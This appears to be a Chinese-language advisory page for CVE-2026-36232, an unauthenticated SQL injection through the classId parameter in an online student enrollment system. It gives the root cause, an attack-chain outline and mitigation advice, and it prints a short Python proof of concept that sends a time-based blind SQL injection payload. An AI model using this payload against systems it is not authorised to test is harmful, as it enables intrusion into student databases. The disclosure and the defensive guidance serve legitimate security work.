IPBUF安全漏洞报告
English
CVE-2026-36232 CVSS 9.8 严重

CVE-2026-36232 itsourcecode在线报名系统SQL注入漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-36232
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
itsourcecode Online Student Enrollment System

相关标签

SQL注入CVE-2026-36232itsourcecode在线报名系统远程代码执行高危漏洞Web安全

漏洞概述

itsourcecode Online Student Enrollment System v1.0版本被发现存在严重的安全漏洞。具体而言,instructorClasses.php文件未能正确处理用户输入,导致对$_GET['classId']参数的清洗与验证缺失。攻击者可利用此SQL注入漏洞,在无需身份认证的情况下,通过构造恶意的HTTP请求操纵后台数据库查询。此漏洞可能导致敏感数据泄露、数据完整性受损及服务中断,风险极高。

技术细节

该漏洞的根本原因在于`instructorClasses.php`文件中存在不安全的数据库操作代码。开发人员直接从全局变量`$_GET`数组中获取`classId`参数,并将其作为字符串拼接至SQL查询语句中,完全绕过了输入过滤机制。这种编码方式违反了最小权限原则和防御性编程规范。

在技术实现上,攻击者可以通过向目标服务器发送特制的HTTP GET请求,在`classId`参数中嵌入恶意的SQL payload。例如,使用单引号截断原查询逻辑,并通过`UNION SELECT`语句或布尔盲注技术获取数据库结构。由于CVSS向量显示无需用户交互(UI:N)且无需认证(PR:N),攻击者可以轻易地在互联网上探测并利用此漏洞。成功的利用可能导致数据库被完全接管,攻击者能够提取学生信息、修改课程数据,甚至在特定条件下写入WebShell,进而控制整个服务器。

攻击链分析

STEP 1
侦察
攻击者使用搜索引擎或扫描工具识别运行itsourcecode Online Student Enrollment System v1.0的目标服务器。
STEP 2
武器化
攻击者构造特定的SQL注入Payload,旨在绕过基本逻辑并从数据库提取数据或验证漏洞存在。
STEP 3
投递
攻击者向目标服务器发送包含恶意`classId`参数的HTTP GET请求至`instructorClasses.php`端点。
STEP 4
利用
服务器端PHP脚本接收参数,未经过滤直接拼接到SQL语句中执行,数据库返回查询结果或错误信息。
STEP 5
影响
攻击者成功获取数据库敏感信息(如用户凭据),或进一步破坏数据库完整性和可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "http://target-host/instructorClasses.php" # Malicious payload to test for SQL Injection # This payload attempts to cause a time delay or syntax error payload = "1' AND SLEEP(5)-- -" # Parameters to be sent in the GET request params = { 'classId': payload } try: # Send the request response = requests.get(target_url, params=params, timeout=10) # Analyze response time for time-based blind injection if response.elapsed.total_seconds() > 5: print("[+] Vulnerability confirmed: SQL Injection detected via time delay.") else: print("[-] Vulnerability not detected via time delay.") # Check for SQL syntax errors in response body (optional) if "mysql_fetch_array()" in response.text or "You have an error in your SQL syntax" in response.text: print("[+] Vulnerability confirmed: SQL Syntax error found in response.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

影响范围

itsourcecode Online Student Enrollment System 1.0

防御指南

临时缓解措施
建议立即检查`instructorClasses.php`及类似文件源代码,移除直接拼接SQL语句的代码逻辑,改用PDO或MySQLi预处理语句。在官方发布补丁前,应在WAF层面添加针对`classId`参数的过滤规则,拦截包含单引号、UNION、SELECT等SQL关键字的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表